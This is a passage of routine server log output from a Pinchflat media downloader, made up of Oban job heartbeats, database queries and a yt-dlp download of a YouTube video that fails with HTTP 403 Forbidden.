{"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:00.706 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:17:21.779 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:51.780 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:00.707 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:18:21.781 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:51.783 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:00.708 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:19:21.785 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:51.787 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:00.709 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:20:21.788 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:51.789 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:00.710 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:21:21.790 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:51.791 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:00.711 [info] {"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:22:21.792 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:51.794 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:00.712 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:23:21.795 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:51.797 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:00.713 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:24:21.798 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:51.799 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:00.714 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:25:21.800 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:51.801 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:00.715 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:26:21.802 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:51.803 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:00.716 [info] {"source":"oban","duration":97,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:27:21.804 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:51.805 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:00.717 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:28:21.806 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:51.807 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:00.718 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:29:21.808 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:51.809 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:00.719 [info] {"source":"oban","duration":313,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:30:21.810 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:51.811 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:00.720 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:31:21.812 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:51.813 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:00.722 [info] {"source":"oban","duration":396,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:32:21.814 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:51.816 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:00.722 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:33:21.817 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:51.818 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:00.723 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:34:21.819 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:51.820 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:00.724 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:35:21.821 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:51.822 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:00.725 [info] {"source":"oban","duration":270,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:36:21.823 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:51.824 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:00.726 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:37:21.825 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:51.826 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:00.727 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:38:21.827 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:51.829 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:00.728 [info] {"source":"oban","duration":127,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:39:21.830 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:51.831 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:00.729 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:40:21.833 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:51.834 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:00.730 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:41:21.835 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:51.836 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:00.731 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:42:21.837 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:51.838 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:00.732 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:43:21.838 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:51.840 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:00.733 [info] {"source":"oban","duration":325,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:44:21.842 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:51.843 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:00.734 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:45:21.845 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:51.846 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:00.735 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:46:21.847 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:51.848 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:00.736 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:47:21.849 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:51.850 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:53.154 [info] {"args":{"id":13061},"id":1740,"meta":{},"system_time":1775044073154493495,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 07:47:53.155 [debug] QUERY OK source="media_items" db=0.3ms idle=1624.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13061] 07:47:53.155 [info] User scripts lifecyle file either not present or is empty. Skipping. 07:47:53.155 [debug] QUERY OK source="sources" db=0.3ms idle=1304.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 07:47:53.156 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:47:53.156 [debug] QUERY OK source="media_items" db=0.2ms idle=8.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13061] 07:47:53.157 [debug] QUERY OK source="media_metadata" db=0.2ms idle=2.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13061] 07:47:53.157 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:47:53.157 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:47:53.157 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:47:53.158 [debug] Running yt-dlp command for action: get_downloadable_status 07:47:53.158 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:47:53.158 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:47:53.158 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:47:53.159 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/96/00/9600a0e62bd01c1d22fa50074482c12fc9cd2bcada2e9e0a28b17869d0eb9d2b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 07:47:56.688 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/96/00/9600a0e62bd01c1d22fa50074482c12fc9cd2bcada2e9e0a28b17869d0eb9d2b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 07:47:56.688 [debug] Running yt-dlp command for action: download 07:47:56.688 [debug] QUERY OK source="settings" db=0.1ms idle=537.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:47:56.688 [debug] QUERY OK source="settings" db=0.0ms idle=158.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:47:56.689 [debug] QUERY OK source="settings" db=0.0ms idle=158.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:47:56.689 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1a/78/1a78583413445981ebdb9e5de6e199482efb597a62524d14d68dbb8f00772786.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 07:48:00.737 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:48:01.234 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1a/78/1a78583413445981ebdb9e5de6e199482efb597a62524d14d68dbb8f00772786.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 07:48:01.234 [error] yt-dlp download error for media item #13061: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 07:48:01.235 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13061},"id":1740,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":8080390,"event":"job:exception","queue_time":622223,"attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 07:48:21.852 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:51.854 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:00.738 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:49:21.855 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:51.856 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:00.739 [info] {"source":"oban","duration":344,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:50:21.857 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:51.859 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:00.741 [info] {"source":"oban","duration":346,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:51:21.861 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:51.863 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:00.741 [info] {"source":"oban","duration":312,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:52:21.864 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:51.866 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:00.742 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:53:21.867 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:51.868 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:00.743 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:54:21.869 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:51.871 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:00.745 [info] {"source":"oban","duration":354,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:55:21.873 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:51.874 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:00.745 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:56:21.876 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:51.878 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:00.746 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:57:21.879 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:51.880 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:00.748 [info] {"source":"oban","duration":370,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:58:21.881 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:51.882 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:00.748 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:59:21.883 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:51.885 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:00.749 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:00:21.886 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:51.887 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:00.750 [info] {"source":"oban","duration":280,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:01:21.888 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:51.889 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:00.752 [info] {"source":"oban","duration":363,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:02:21.890 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:51.891 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:00.752 [info] {"source":"oban","duration":293,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:03:21.892 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:51.893 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:00.753 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:04:21.895 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:51.897 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:00.754 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:05:21.899 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:51.900 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 